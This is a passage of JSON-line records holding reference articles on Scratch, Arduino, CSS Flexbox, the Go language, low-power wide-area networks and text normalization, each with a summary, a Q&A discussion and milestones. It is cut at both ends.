IDE?\n\nThe main areas of the IDE include the Stage, the Block Palette and the Code Area. The Stage is where the currently selected sprite appears. When the program runs, the results are displayed in the Stage. Stage can be maximized to full screen. \n\nJust below the Stage is the list of sprites that one can choose. When a sprite is selected, the scripts associated with it appear in the Code Area. These scripts can be created or edited by drag-and-drop actions of blocks from the Block Palette. \n\nThe Costumes tab allow programmers to change the look of a sprite and thereby create visual effects and animations. The Sounds tab enables attaching sounds and music to the sprite. \n\n\n### Which are the different shapes and categories of blocks in Scratch?\n\nBlocks come in different shapes and categories. Each category comes in a different colour. \n\n**Block shape** represents a certain context of usage. For example, Hat Blocks occur at the start of a script whereas Cap Blocks occur at the end of a script. Their unique shapes mean that they can't be mistakenly used elsewhere within the script. Stack Blocks perform the main actions. Boolean Blocks return true or false. Reporter Blocks report fixed numbers, strings or variables. C Blocks (also called Wrap Blocks) wrap other blocks and are of Control category. Some C Blocks are capped at the bottom. \n\n**Block category** represents a certain type of functionality. Categories include Motion Blocks, Looks Blocks, Sound Blocks, Events Blocks, Control Blocks, Sensing Blocks, Operators Blocks, Variables Blocks, My Blocks, and Extensions. \n\nWith My Blocks, programmers can define a custom script and call it with inputs from other scripts. Use of My Blocks reduces overall project size. \n\n\n### How do I get started with programming in Scratch?\n\nCreate an account on Scratch website and start creating projects online. Perhaps the easiest way to work with Scratch is to create and edit projects via a web browser. No installation is required.\n\nThose who wish to work offline (without Internet connection), can download Scratch. Installations are available for Windows, macOS, ChromeOS and Android (tablets only). Scratch projects created from these installed apps can't be directly shared with the online community. You can however export a project, and then upload and share online. \n\nOfficial documentation is on the Scratch Wiki. \n\nYou can explore Scratch projects shared by others. Participate in the Scratch discussion forum. The Scratch Ed channel on YouTube has many videos of tutorials, examples, events and workshops.\n\nTwo useful books for beginners are Scratch 3 Programming Playground by Al Sweigart and Scratch Programming in Easy Steps by Sean McManus. The latter book doesn't cover Scratch 3.0 but its examples are available online. \n\nAdvanced programmers who wish to contribute to Scratch's open source codebase can find the code on GitHub.\n\n## Milestones\n\n1970\n\nThe idea of using programming as a skill and a learning tool probably begins with Seymour Papert in the 1970s. He creates the **LOGO** programming language. Language commands control movements of a digital robot. This helps children grasp geometry. A pen is used to draw shapes on the screen. LOGO and its turtle graphics are subsequently widely adopted in UK schools. \n\n2003\n\nMitch Resnick and John Maeda of MIT, and Yasmin Kafai of UCLA propose the idea of Scratch to National Science Foundation (NSF). Resnick is part of Lifelong Kindergarten Group of MIT Media Labs. With an NSF grant, they create **Scratch 0.1** by October. This version doesn't have a Block Palette and blocks are more square shaped. \n\nJan  \n2004\n\nFirst **Scratch website** goes live. Elsewhere, it's reported that Scratch website was publicly launched in May 2007. \n\nJan  \n2007\n\n**Scratch 1.0** is released. It's also the first version released to public. The Scratch layout in this version resembles closely with a version from January 2005. Thus, we may state that the application has reached good level of maturity. \n\nJul  \n2009\n\n**Scratch 1.4** is released. Earlier versions include v1.1 (May 2007), v1.2 (Dec 2007), and v1.3 (Sep 2008). \n\nMay  \n2013\n\n**Scratch 2.0** is released. It gets a new user interface. Among its new features are procedures, cloning, cloud data, vector graphics, show/hide lists, and sound editor. The offline editor of this version continues to be available even in April 2021. \n\n2015\n\nSince Scratch 2.0 was based on Flash, and Flash is no longer preferred on the web, Google proposes a partnership with MIT Media Lab to redesign Scratch. By 2015, many other visual programming languages (Code.org, App Inventor, MakeCode) are already using a JavaScript library called **Blockly**. Scratch adopts Blockly. The redesigned UI and blocks are released as part of Scratch 3.0 (Jan 2019). \n\nJan  \n2019\n\n**Scratch 3.0** is released. Scratch 2.0 projects are compatible with the new version. Usability of the app is improved. Pen Blocks and Music Blocks are moved to Extensions. Stage is on the right, unlike Scratch 2.0 that had it on the left. \n\nApr  \n2021\n\nScratch community has close to 75 million shared projects, 70 million registered users, 448 million comments, and 29 million studios. In March, the site received 613 million pageviews and 29 million unique visitors. In TIOBE Index, Scratch ranks at position 22 in terms of popular programming languages. In April 2020, it was within the top 20.","meta":{"title":"Scratch (Language)","href":"scratch-language"}}
{"text":"# Arduino\n\n## Summary\n\n\nWorking with electronics and programming microcontroller-based systems is generally a difficult task that's reserved for engineers. What if we could simplify the process so that more people can participate, including designers and artists? This is why Arduino was invented back in 2005.\n\nArduino is an open source platform of both software and hardware. It uses a simplified programming syntax based on C/C++ languages. Arduino boards can be easily programmed by anyone with a computer and a USB connection. \n\nArduino boards come in many variants and developers get to choose what suits their application. The ecosystem around Arduino is rich with many third-party libraries, derivative boards, modules and shields. Indeed, Arduino has been a catalyst to the Maker Movement.\n\n## Discussion\n\n### What can I build with an Arduino?\n\nArduino is a simple low-cost platform to get started with DIY projects involving basic electronics and software. It's can be used to prototype applications involving sensors and motors for the Internet-of-Things (IoT). This means an Arduino can not only interface with real-world objects but also collect data and send them via the Internet to cloud applications.\n\nYou can use Arduino to automate routine tasks in your home such as watering plants or opening doors for your pets. You can build simple gadgets such as an LED matrix clock or a digital lock box. For learning purpose, you can build a traffic light system. More useful applications include fall detection for the elderly and ultrasonic glasses for the blind. You can also use Arduino as a substitute for more expensive engineering tools such as an audio meter or an oscilloscope. Among the simplest projects is to monitor and record temperature, humidity or pollution.  \n\n\n### What are the licensing terms for Arduino?\n\nArduino adopts the principles of open source for both hardware and software. For the hardware, the original design files (Eagle CAD) are available under CC BY-SA licensing. This allows for derivatives and commercial use but requires that attribution be given to Arduino. Derived works must also be released as CC BY-SA. \n\nThere's also an IDE to program the hardware, which uses GPL license. Code is in Java and available on GitHub. C/C++ microcontroller libraries use Lesser GPL license. \n\nYou can use the Arduino logo in tutorials, websites and community channels where the content is Arduino specific. However, if you release your own design, you should not use either the name or the logo. You can however say \"XXX for Arduino\" or \"XXX (Arduino-Compatible)\". \n\nDespite these licensing terms, there are *counterfeits* that violate Arduino trademarks. There are also *clones* that are replicas of original designs but are branded differently. Finally, there are *derivatives* that innovate on the original design and therefore add value to the Arduino ecosystem. Examples include Teensy and Flora. \n\n\n### How do I power up an Arduino?\n\nThere's more than one way to power an Arduino Uno: USB port, DC power jack, or header pins. Give power via VIN header pin for standalone battery-powered applications. To power peripherals, 5V and 3.3V outputs are available. \n\nMost Arduino variants run on 5V. Due, M0 and Yun Mini are some boards that use 3.3V. Voltage input range is 9-12V for the Uno via the DC jack; 7-12V for Leonardo, Micro and Yun Mini; 5-12V for Mega 2560 R3; 5-7V for Mini. Note that smaller boards (Nano, Micro, Mini) lack DC power jack. \n\nUSB is also the interface to program the board. While Uno has USB A-B type, Nano has mini-B USB. Leonardo, Micro, and Due are some variants that use micro USB. \n\n\n### Could you explain the different memories on an Arduino?\n\nThe following are the different Arduino memories: \n\n    + **Flash**: Used to store the program. Arduino programs are called *sketches*. They're saved as `*.ino` files during development.\n    + **SRAM**: Temporary storage for variables during program execution. Contents are lost when board is powered off.\n    + **EEPROM**: Used for long-term storage. Most boards have EEPROM but Due and M0 don't have this.\n    + **ROM**: Read-only memory for storing bootloader. Programmed in factory. Available only on some boards such as Due.\n\n### What hardware interfaces are available on an Arduino?\n\nArduino has many interfaces, often shared on the same physical pin. A pin can be used for only one function at a time. Among the interfaces are: \n\n    + **General Purpose Input Output (GPIO)**: For digital IO. Useful for interfacing to button switches, LEDs, etc.\n    + **Pulse Width Modulation (PWM)**: Mimics analogue output using digital pulses. Useful for controlling motors, fading LEDs, etc.\n    + **Analogue Input**: Uses a 10-bit *Analogue-to-Digital Converter (ADC)* to bring analogue signal values into the digital world. Used to read from an analogue sensor.\n    + **USART**: For serial communications. Used to send/receive data to/from laptop, Bluetooth device, etc. LEDs Tx and Rx help us see serial activity.\n    + **Digital Interfaces**: Other interfaces include *I2C* and *SPI*. Used for interfacing to digital sensors or other peripherals such a memory, display, etc.\n\n### What are the different Arduino hardware variants?\n\nThe official Arduino product page lists all the variants. Arduino hardware comes in three main types: \n\n    + **Boards**: These offer the main functionality. Among the entry level **boards** are Uno, Leonardo, Micro, and Nano. Boards with more features or better performance include Mega 2560, Zero, Due, and M0 Pro. For the Internet of Things (IoT), we need connectivity to the internet. Some boards that offer this include Yun, Ethernet and Industrial 101. For wearable applications, the Lilypad series offer small form factor boards that can sewn to cloth.\n    + **Modules**: These are small form factor boards. Modules giving IoT connectivity include Fox 1200, WAN 1300, GSM 1400, NB 1500, and WiFi 1010.\n    + **Shields**: These extend the hardware features provided by boards. They can't be used on their own. They connect to boards via well-defined interfaces. There are shields for interfacing via USB, CAN, RS485, and more.\n\n### How do I select an Arduino hardware for my application?\n\nYou should start by listing application requirements in terms of performance, memory, connectivity, and interfaces. \n\nThe most popular one is the Arduino Uno. Many shields are made compatible to the pin header of the Uno. To fit into tight spaces, Arduino Nano or Mini are cheaper and better options; but shields can't be used with them. \n\nFor USB apps, prefer Leonardo or Micro that are based on ATmega32U4. \n\nArduino Due has an ARM Cortex-M3 running at faster clock, with more memory and interfaces than the Uno. It runs on 3.3V, not 5V like the Uno. Standard Arduino shields can be used. Arduino Mega has similar form factor to the Due but uses ATmega2560, not an ARM processor. It runs on 5V and therefore friendly to hobbyists. \n\nAny project needing lots of GPIO can use Due or Mega. If fast processing is needed, Due is a better choice. Due is also good for analogue, with 12 inputs and 2 outputs. \n\nMore information is available at Core Electronics and Hackster.\n\n## Milestones\n\n2001\n\nAt the MIT Media Lab, Casey Reas and Ben Fry invent **Processing** based on Java. Processing is a graphical library and an IDE. It simplifies programming syntax. Later, Processing goes on to inspire other projects such as Wiring, Arduino and Fritzing. \n\n2003\n\nHernando Barragán creates **Wiring** platform so that designers and artists can approach electronics and programming more easily. Wiring itself is based on Processing. It's part of Barragán's Master's thesis project at the Interaction Design Institute Ivrea (IDII) in Italy. In March 2004, 25 Wiring PCBs are manufactured and hand-soldered. \n\n2005\n\nWhile the Wiring boards used ATmega128, researchers at IDII fork Wiring code and add support for the cheaper ATmega8. They name the fork **Arduino**. The first batch of Arduino boards are also made the same year. \n\nSep  \n2010\n\n**Arduino Uno** is released based on ATmega328P. Clock is at 16MHz. Memory includes 32KB Flash, 2KB RAM and 1KB EEPROM. Unlike the first Arduino of 2005 that used RS232, Uno uses USB host interface and FTDI chip. \n\n2012\n\n**Arduino Due** is released. This is the first 32-bit Arduino. \n\nMar  \n2014\n\nThe first **Arduino Day** happens on 29th March. This day now marks an annual event worldwide for people to share knowledge and exhibit their Arduino projects.\n\nMay  \n2015\n\nAt the Maker Faire Bay Area, Massimo Banzi announces the creation of **Genuino**. Due to trademark issues and legal disputes, Arduino trademark will be limited to the U.S., for which Adafruit will be the manufacturer. In other markets, Genuino trademark will be used with manufacturing outside the U.S. In October 2016, differences are put aside and the companies behind Arduino and Genuino announce a merger. \n\n2016\n\nTo enable code editing and programming boards from a web browser, **Arduino Create** is released. \n\n2017\n\nIn January, to take care of manufacturing, **Arduino AG** is incorporated. Later the same year, there's talk of forming **Arduino Foundation** for maintaining the IDE and other code infrastructure in an open source community-driven manner. Subsequently, not much information has been released about the Foundation. \n\nApr  \n2018\n\nTo cater for IoT applications, Arduino announces the **MKR Family** of boards. Most of these boards come with built-in wireless connectivity; or they're of smaller form factor. Connectivity could be GSM, SigFox, or Wi-Fi. In May, new boards supporting NB-IoT and Bluetooth are introduced.","meta":{"title":"Arduino","href":"arduino"}}
{"text":"# CSS Flexbox\n\n## Summary\n\n\nIn web design, the traditional way to layout elements on a page was to use CSS properties such as `float`, `clear`, and `display`. In particular, `display` property has values `inline`, `block`, `inline-block`, and `table` that help with layout. CSS Flexbox is an easier method to do layouts.\n\nWith flexbox, items are laid out within a parent container. Flexbox makes it easy to distribute or fill extra spaces within the container. It's also possible to shrink the items dynamically to prevent overflows. We can also wrap items within the container to obtain a multiline flow. This \"flexing\" of items is an important aspect of flexbox that makes the design responsive to device dimensions. \n\nSite header, side bar, centered prompt, tabs, and form footer are some examples where flexbox can be used.\n\n## Discussion\n\n### What are the essential terms pertaining to CSS Flexbox?\n\nFlexbox layout involves a parent element that defines how to lay out its child elements. The parent is called **flex container** and its children are called **flex items**. CSS declarations `display: flex` or `display: inline-flex` specify the use of flexbox. \n\n**Flex direction** determines if flex items are laid out horizontally or vertically. In either case, the direction in which items are laid out is called **main axis**. Its perpendicular axis is called **cross axis**. \n\nThe container's boundaries are called **main-start**, **main-end**, **cross-start** and **cross-end**. Items are placed from start to end boundaries. Normally, this is left-to-right and top-to-bottom order. However, the order gets reversed if `flex-direction` has values `row-reverse` or `column-reverse`. Also, main axis and cross axis can get swapped depending on the current writing mode. \n\nContainer dimensions are called **main size** and **cross size**. CSS properties `width`, `height` and their min/max equivalents are applicable to the container. \n\n\n### Which are the main CSS properties to control layout in CSS Flexbox?\n\nOn the flex container, main CSS properties are: \n\n    + display: flex | flex-inline\n    + flex-direction: row | row-reverse | column | column-reverse\n    + flex-wrap: nowrap | wrap | wrap-reverse\n    + flex-flow: a shorthand for 'flex-direction || flex-wrap'\n    + justify-content: flex-start | flex-end | center | space-between | space-around\n    + align-items: flex-start | flex-end | center | baseline | stretch\n    + align-content: flex-start | flex-end | center | space-between | space-around | stretchOn flex items, main CSS properties are: \n\n    + order: integer\n    + flex-grow: number\n    + flex-shrink: number\n    + flex-basis: content | 'width'\n    + flex: a shorthand for 'none | [ flex-grow flex-shrink? || flex-basis ]'\n    + align-self: auto | flex-start | flex-end | center | baseline | stretchAn article on CSS-Tricks visually depicts the use of these properties. It's recommended to use shorthand forms `flex-flow` and `flex`. \n\n\n### What does it mean to grow or shrink flex items?\n\nAlong the main axis, flex items might not fill the container's main size. We could use `justify-content` to distribute the leftover space; or increase the size of items to fill the extra space. On the other hand, if items are too big for the container we could shrink the items to avoid overflow. \n\nIn (b), all items are grown in equal proportion to fill up the extra space. In (c), green items retain their original size while orange items grow. In (d), green items grow relative to orange items in the ratio 3:1. Interestingly, this results in orange items shrinking below their original size.\n\nIn (e) and (f), items are wider and would overflow the container; but they don't overflow since wrapping is enabled. Since container is 500px wide and each item is 120px wide, we would expect the first row to contain four items. However, the effect of padding (8 x 5px) results in only three items in the first row.\n\nItem width (or height for column-wise layout) and its min/max values also affect how items can be resized. \n\n\n### How can I align and justify items in a CSS flexbox container?\n\nAlong the main axis, `justify-content` controls how items are laid out and extra spaces are distributed. For example, `justify-content:flex-start` aligns content to main-start. Excess space, if any, is towards main-end; `justify-content:center` puts leftover space towards both main-start and main-end; `justify-content:space-between`, `justify-content:space-around`, and `justify-content:space-evenly` distribute leftover space between or around all items. \n\nAlong the cross axis, `align-items` controls the alignment. For example, `align-items:center` centers items; `align-items:stretch` stretches items to fill the container's cross size (if set) or match the longest item. \n\nWhen wrapping is enabled, `align-content` becomes relevant. Like `align-items`, it affects alignment and spacing along the cross axis. \n\nContainer property `align-items` can be overridden on individual items with `align-self`. For example, we can align all items to cross-start (`align-items:flex-start`) and one particular item to cross-end (`align-self:flex-end`). \n\n\n### How do I use the 'order' property of CSS Flexbox?\n\nFlex items can be assigned to ordinal groups, with each group given an integer. Within the container, items are rendered based on this order, from lower to higher numbers. This is useful because the ordering of items need not be changed in the source document. Ordering can be controlled from CSS. \n\nAn example use case is a tabbed interface. If we wish the active tab to be the leftmost tab (main-start), then we can set `.tabs > .current { order: -1; }`. All other tabs have the default value of zero. \n\nHowever, ordering items this way is only *visual ordering*. The logical ordering is still specified by the order in the source document. *Logical ordering* is what matters for accessibility, such as, navigating the items via tab keys.  \n\n\n### What are some tips and tricks for using CSS Flexbox?\n\nCSS Flexbox is primarily for 1-D layouts. Via nesting or wrapping, it's possible to achieve 2-D flexbox layouts. An excellent approach is to combine both CSS Grid and CSS Flexbox, thus leveraging the best of both worlds. Properties `justify-content` and `align-items` are useful in such an approach. \n\nFlex containers are not block elements. CSS properties `float`, `clear` and `vertical-align` have no effect on flex items. Property `overflow` is applicable to the container. \n\nIt's possible to overlap flex items using negative margins or absolute positioning. \n\nBeau Carnes has published informative visualizations of how CSS Flexbox works. Flexbox Patterns is a useful resource where beginners can study many flexbox examples. \n\n## Milestones\n\nJul  \n2009\n\nW3C publishes a working draft of **CSS Flexible Box Layout** or Flexbox. After multiple revisions, first Candidate Recommendation of Flexbox is released in September 2012. \n\nSep  \n2012\n\nW3C publishes the first Candidate Recommendation of **CSS Flexible Box Layout Module**. A flexbox layout can be specified with `display: flex`. However, the initial draft of July 2009 used `display: box` and a later draft of March 2012 used `display: flexbox`. Older browsers might not support the currently standardized CSS rule and fallback techniques may be required. \n\nMar  \n2016\n\nW3C publishes as a Candidate Recommendation **CSS Flexible Box Layout Module Level 1**. As on December 2020, the latest version of this document is from November 2018. \n\nMay  \n2017\n\nW3C publishes **CSS Grid Layout Module Level 1** as a Candidate Recommendation. Whereas CSS Flexbox is limited to one-dimensional layouts, CSS Grid can handle two-dimensional layouts. Designers view CSS Grid as not replacing but complementing CSS Flexbox. For example, we can do a flexbox layout within a grid layout or vice versa.","meta":{"title":"CSS Flexbox","href":"css-flexbox"}}
{"text":"# Go (Language)\n\n## Summary\n\n\nGo is an open source, compiled, concurrent, garbage-collected, statically typed language developed at Google. Google created it to solve its own problems in relation to multicore processors, networked systems and large codebases. \n\nWhile languages such as C and C++ are fast, they are hard to master and development takes longer. While Python is easier to work with, it compromises on runtime efficiency. Go was designed to be efficient, scalable and productive.\n\n## Discussion\n\n### Why was Go invented when there were already many popular languages?\n\nGo was invented (in 2007) at a time when multicore CPU architectures were common, largely because Moore's Law was failing to deliver. With multiple cores, code can run in parallel on all available cores; but there was no programming language that simplified the development of multithreaded applications. The responsibility of managing different threads safely and efficiently fell on developers. Thread-locking, race conditions and deadlocks are usual challenges. Go was designed with concurrent programming in mind. \n\nGolang FAQ states that in the days before Go, \n\n> One had to choose either efficient compilation, efficient execution, or ease of programming; all three were not available in the same mainstream language.\n\nGo balances these different expectations of a programming language. Go was really designed to solve problems Google faced with large software systems. Hence, it was less about research into language design and more about software engineering to solve problems at hand. Some of the problems Google faced were slow builds, uncontrolled dependencies, poor code readability, challenges with automation tools and cross-language builds. \n\n\n### What are the main features of Go language?\n\nGo's main features include concurrency, scalability, error checking, fast performance, garbage collection and cross platform. It's fast because it's a compiled language and not an interpreted one like JavaScript. Garbage collection pauses have been reduced to about 100 microseconds. Go's built-in error type enables developers to spot errors early. It's designed for the cloud and can run on various platforms. \n\nBecause Go has types and methods, we can call it an object-oriented language. But there's no type inheritance. Instead, Go uses **interfaces**. \n\nGo achieves concurrency using **goroutines**, which are then mapped to operating system threads. If a thread is blocked, goroutines can be moved to another thread. Goroutines are therefore cheap, requiring nothing more than stack memory. Built-in **channels** are used to communicate between goroutines. \n\nGo is opinionated and focused on its design goals. Therefore, what it leaves out of the language are just as important. Go doesn't have generic types, exceptions and assertions. \n\nOther features mentioned elsewhere are `godoc` for documentation; `gofmt` for code formatting; `golint` for linting; built-in testing and profiling framework; race condition detection. \n\n\n### What sort of applications can benefit from using Go language?\n\nIf you're into systems programming with support for multithreading, Go is a suitable language. Go can be used for building any server-side app containing thousands of communicating threads. \n\nDue to its roots in Google, Go is suited for large distributed projects involving multiple teams. It's taken off in the cloud infrastructure space, platform automation, tooling apps and DevOps pipelines. Go's static binaries without external dependencies are easier to manage. Cross-platform CLI tools can be created. Because Go compiles to native code, performance-critical apps can benefit from it. As Go's Garbage Collection (GC) matures, it can suit embedded systems. \n\nWhile Go was originally for systems programming, it's been adopted for microservices. This is due to its \"elegant concurrency model, simple binary deployments, low number of external dependencies, fast performance, and runtime efficiency.\" There's also an expectation (back in 2015) that Go will grow into a general-purpose programming language and be adopted for GUI apps, IoT apps, web/mobile apps, robotics frameworks, and more. It's suited for data science work. \n\nAlternatively, it's been said that Go is not suitable for GUI apps, kernels, drivers or embedded systems. \n\n\n### How's the adoption of Go language?\n\nBack in 2014, it was reported that many open source projects have adopted Go: Docker, Kubernetes, Weave, Shipyard, etcd, Fleet, Deis, Flynn. Since Go is suited to distributed server apps, all of these apps are cloud related. Lime is an example of a desktop app for text editing. InfluxDB, a distributed time series database, is written in Go. Gogs (Go Git Service) helps you to run a Git service, like GitHub. Go is a suitable fit for Docker due to static compilation and ability to build for different architecture with less effort. \n\nAmong the big names using Go are Uber, BBC, Novartis, Soundcloud and Basecamp. Uber has reported better throughput, latency and uptime. BBC uses it for backend, including crawlers and web scrapers. Soundcloud's build and deployment system is in Go. \n\nIn 2016, Go was rated the most popular language in the TIOBE index. Multiple developer surveys in 2018 show interest and adoption of Go. In StackOverflow's survey, Go is in the top five most loved/wanted languages. Community contribution to Go is growing steadily. \n\nThere's also a curated list of companies worldwide using Go.\n\n\n### What are some criticisms of Go language?\n\nGo doesn't support generics, which means that code written for one data type can't be reused for another. Interfaces are implicit. Sometimes it's hard to tell if a struct type implements an interface. Library support for Go from vendors is lacking. While Go is open source, key maintainers are seen to be non-receptive to suggestions from the community. Packages are not versioned in a centralized place. \n\nWe can't define immutable data types. Complex data types are not available out of the box: hash, tree, set. Go doesn't support overloading. Compile-time checks are lacking. It's slow compared to C, C++ and Rust. It's been said that Rust succeeds in areas where Go fails. There's also a curated list of Go criticisms.\n\nFrom Go's perspective, some missing features are actually by design, reflecting Go's simplicity. Generics come with a higher complexity. Without exceptions, developers are forced to do explicit error checking. Overloading makes problems harder to debug. Being minimal and opinionated means that everyone writes code the same way: there are no debates about using tabs versus spaces or for versus while. \n\n\n### For a beginner, what online resources can you recommend to learn Go programming?\n\nGolang's official FAQ page is a good place to start. Other resources include the Go official documentation and the Go Wiki pages.\n\nA curated list of Go frameworks and software is available on GitHub. There's also a curated list of 18 Go experts to follow. For latest news, the official Go blog and Golang Weekly newsletter are useful. For conferences, there's GopherCon and the European dotGo.\n\n## Milestones\n\nSep  \n2007\n\nThree engineers at Google (Robert Griesemer, Rob Pike and Ken Thompson) invent **Go**. Their aim is to design a better language for Google's workflows. In particular, they notice lack of concurrency support in current languages and long build times. They want a small, compiled language with modern features. \n\nNov  \n2009\n\nGo is made open source.  \n\nMar  \n2012\n\nA major release named **Go 1** is released. It's stated that language will be stable and compatible with future updates of Go 1. \n\n2014\n\nWorld's first Go conference, **GopherCon**, is organized in Denver, USA. About 700 gophers (Go developers) attend the event. \n\nJan  \n2017\n\nAs a dependency management tool for Go packages, **dep** is released. Developers adopt this in preference to many community-led tools. Dep uses semantic versioning plus a configuration file that specifies dependencies. Version 0.1.0 of dep becomes available on GitHub in May 2017. \n\nJul  \n2017\n\nAt GopherCon 2017, Russ Cox presents initial ideas for **Go 2** with a goal \"to fix the most significant ways Go fails to scale.\" He outlines the community process through which Go 2 will be defined. Early draft designs of Go 2 consider error values, error handling, and generic programming. As of November 2018, Go 2 is still under development. \n\nAug  \n2018\n\nVersion Go 1.11 is released. Two major versions are supported at any point in time. This means that versions 1.11 and 1.10 will be supported until version 1.12 appears.","meta":{"title":"Go (Language)","href":"go-language"}}
{"text":"# Low-Power Wide-Area Network\n\n## Summary\n\n\nLow-Power Wide-Area Network (LPWAN) is a type of wireless telecommunication wide area network designed to allow long range communications at a low bit rate among connected objects, such as sensors operated on battery.  \n\nOn one end of the spectrum are cellular standards (3G, 4G) that offer good range and good data rates but also consume lot of power. On the other end are short-range technologies such as Wi-Fi and Bluetooth that consume less power but are limited by range. LPWAN fills the gap in between where a longer range is desired at lower power for sending small amounts of data.\n\n## Discussion\n\n### What's the big picture of LPWAN in IoT?\n\nLPWAN is a key driver for Internet-of-Things (IoT) innovation. LPWAN helps connect far-flung sensors and other devices. LPWAN technologies optimize battery life by decreasing power consumption, while networking standards ensure reliable connections at low speeds to support low levels of data use. Thus, LPWAN enables energy-efficient transmission of small data volumes over long distances. \n\n\n### Where does LPWAN fit?\n\nThe low power, low bit rate and intended use distinguish LPWAN from a wide area network that is designed to carry more data using more power. LPWAN data rate ranges from 0.3 kbit/s to 50 kbit/s per channel. Cellular networks based on GPRS used to offer this connectivity for carrying M2M data back since the late 1990s. However, operators across the world are shutting down their legacy 2G networks. For example, AT&T announced that its 2G network will be completely shutdown by end of 2016. It's in this context that new LPWAN technologies were invented and sometimes standardized.\n\nLPWAN is focused on IoT connectivity for devices (endpoints) that consume low power, send/receive short messages at low speeds, and have low duty cycles. Two categories of LPWANs are: \n\n    + Cellular (e.g. NB-IoT and LTE Category M1) WANs using licensed spectrum.\n    + Wireless WANs operating in unlicensed frequency bands(e.g. LoRaWan and Sigfox).\n\n### What are the different types of LPWAN and how do they compare?\n\nThe comparison between any of the LPWANs available is based primarily on coverage, bandwidth, data rate, and number of messages per day. Selecting the right LPWAN is application dependant but typically the goal is to obtain decent rates at minimum power consumption.\n\nLet's compare LoRa, Sigfox and NB-IoT in greater detail: \n\n    + **LoRa**: Unlicensed sub-GHz spectrum. Chirp Spread Spectrum (CSS) modulation. Can define packet size. Transceiver chip is available only from Semtech Corporation. LoRaWAN the Medium Access Control (MAC) layer for managing communication between LPWAN devices and gateways.\n    + **Sigfox**: Proprietary. Unlicensed 868 MHz or 902 MHz bands with only a single operator per country. Coverage of 30-50 km (rural), 3-10 km (urban) and up to 1,000 km (line-of-site). Uplink 150 messages of 12 bytes per day. Downlink 4 messages of 8 bytes per day.\n    + **NB-IoT**: Licensed bands including unused 200 kHz bands previously used for GSM or CDMA. Based on LTE resource blocks.\n\n### What are the application areas or use cases of LPWAN?\n\nLPWANs are deployed globally in many countries, some even nationwide, to enable services in the Smart metering, Facilities and Logistics management, Wearables, Smart dustbins, Smart street lighting, Industries with connected appliances, Environmental monitoring, and more. \n\nDeployments noted above include both kind of licensed LPWANs (NB-IoT) and unlicensed LPWANs (LoRaWAN, Sigfox). The choice is based on requirement and availability.\n\n\n### How do I select a suitable LPWAN for my application?\n\nSelecting a LPWAN involves understanding and refining the key characteristics and requirements of the IoT application and a particular use case. The following parameters can be considered: Battery life, Capacity, Range, Cost, Licensed/Unlicensed spectrum, Quality of Service, Reliability, and Security. \n\n\n### What LPWAN products are available for prototyping or deployment?\n\nMicrochip Technology Inc. have developed its RN2483 LoRa® module, the world’s first to pass the LoRa Alliance’s LoRaWAN™ Certification Program. Some of the operations performed on RN2483 transceiver include: \n\n    + **radio get bt** - reads back current data\n    + **radio get mod** - current mode of modulation - LoRa, FSK\n    + **radio get fr** - reads back current frequency of transceiver\n    + **radio get power** - reads back the current transmit output powerFor Cellular LPWANs there are various chip-set vendors available such as Alter Semiconductors, Huawei, Mediatek, etc.\n\n\n### What's that status of LPWAN standardization and interoperability?\n\nLoRaWAN is maintained by LoRa Alliance. Version 1.0 of the LoRaWAN specification was released in January 2015, followed by V1.1 in 2017.  \n\n3GPP governs and provides specification for the cellular IoT alternates as NB-IoT and LTE-M.\n\nIEEE 802.15.4 is a technical standard which defines the operation of low-power wireless personal area networks (LP-WPANs). It specifies the physical layer and media access control for LP-WPANs, and is maintained by the IEEE 802.15 working group, which defined the standard in 2003. It is the basis for the ZigBee, ISA100.11a, WirelessHART, MiWi, SNAP, and Thread specifications, each of which further extends the standard by developing the upper layers that are not defined in IEEE 802.15.4. Alternatively, it can be used with 6LoWPAN, the technology used to deliver the IPv6 version of the Internet Protocol (IP) over WPANs, to define the upper layers. \n\nMost LPWAN technologies use sub-GHz spectrum. However, those that come from cellular (NB-IoT, LTE-M, EC-GSM) have spectrum above 1 GHz as well. \n\n\n### Is there anything in place to test and certify LPWAN products?\n\nTesting and certification for LPWAN products in both licensed and unlicensed spectra are available worldwide with a group of accredited test houses. \n\nTesting services for all major LPWAN variants are provided by 7layers GmbH, Allion Labs, Bureau Veritas Consumer Products Services, DEKRA Testing and Certification, IMST, and TÜV Rheinland.  \n\n## Milestones\n\n1985\n\nAlarmNet from the 1980s is among the early systems to wirelessly send machine data to a central server. It's built by ADEMCO to monitor alarm panels. It uses 900MHz band at low data rates. Such proprietary networks are used until the arrival of 2G networks in the late 1990s. \n\n2013\n\nThe origins of **LoRa** is in two patents, US7791415 (2008) and EP2763321 (2013). It uses spread-spectrum radio modulation developed by Cycleo (Grenoble, France). It's acquired by Semtech in 2012. \n\n2014\n\nA new study item titled \"Cellular System Support for Ultra Low Complexity and Low Throughput Internet of Things\" is proposed in 3GPP. This kick-starts the work on **NB-IoT**. The document states that 3GPP M2M devices use legacy GPRS but there are competing technologies that provide better coverage and efficiency at lower cost. Document proposes looking into evolving GERAN plus designing a new access system. \n\nJan  \n2015\n\nLoRa Alliance releases **LoRaWAN 1.0** specification. In Oct 2017, LoRa Alliance releases **LoRaWAN 1.1** specification. \n\nDec  \n2015\n\nMicrochip releases RN2483, a LoRa Alliance-certified wireless module for IoT applications. \n\nJun  \n2016\n\n3GPP completes the standardization of NB-IoT, which is part of Release 13 (LTE-Advanced Pro). Further changes to the specifications can be done only in a backward-compatible manner. \n\nOct  \n2016\n\nWorld's first commercial NB-IoT network goes live in Deutsche Telekom's German and Dutch networks. The first application is a smart parking system. Deutsche Telekom had launched a pre-standard NB-IoT on a commercial network back in October 2015.","meta":{"title":"Low-Power Wide-Area Network","href":"low-power-wide-area-network"}}
{"text":"# Text Normalization\n\n## Summary\n\n\nText normalization reduces variations in word forms to a common form when the variations mean the same thing. For example, US and U.S.A become USA; Product, product and products become product; naïve becomes naive; $400 becomes 400 dollars; +7 (800) 123 1231 becomes 0078001231231; 25 June 2015 and 25/6/15 become 2015-06-25; and so on. \n\nBefore text data is used in training NLP models, it's pre-processed to a suitable form. Text normalization is often an essential step in text pre-processing. Text normalization simplifies the modelling process and can improve the model's performance.\n\nThere's no fixed set of tasks that are part of text normalization. Tasks depend on application requirements. Text normalization started with text-to-speech systems and later became important for processing social media text.\n\n## Discussion\n\n### What are the typical tasks within text normalization?\n\nWe can identify the following tasks for normalizing text:  \n\n    + **Tokenization**: Text is normally broken up into tokens. A token is usually a single word but there are exceptions, such as New York.\n    + **Lemmatization**: Reduce surface forms to their root form. For example, sang, sung and sings have a common root 'sing'.\n    + **Stemming**: Strip suffixes. For example, trouble, troubled and troubles are stemmed to 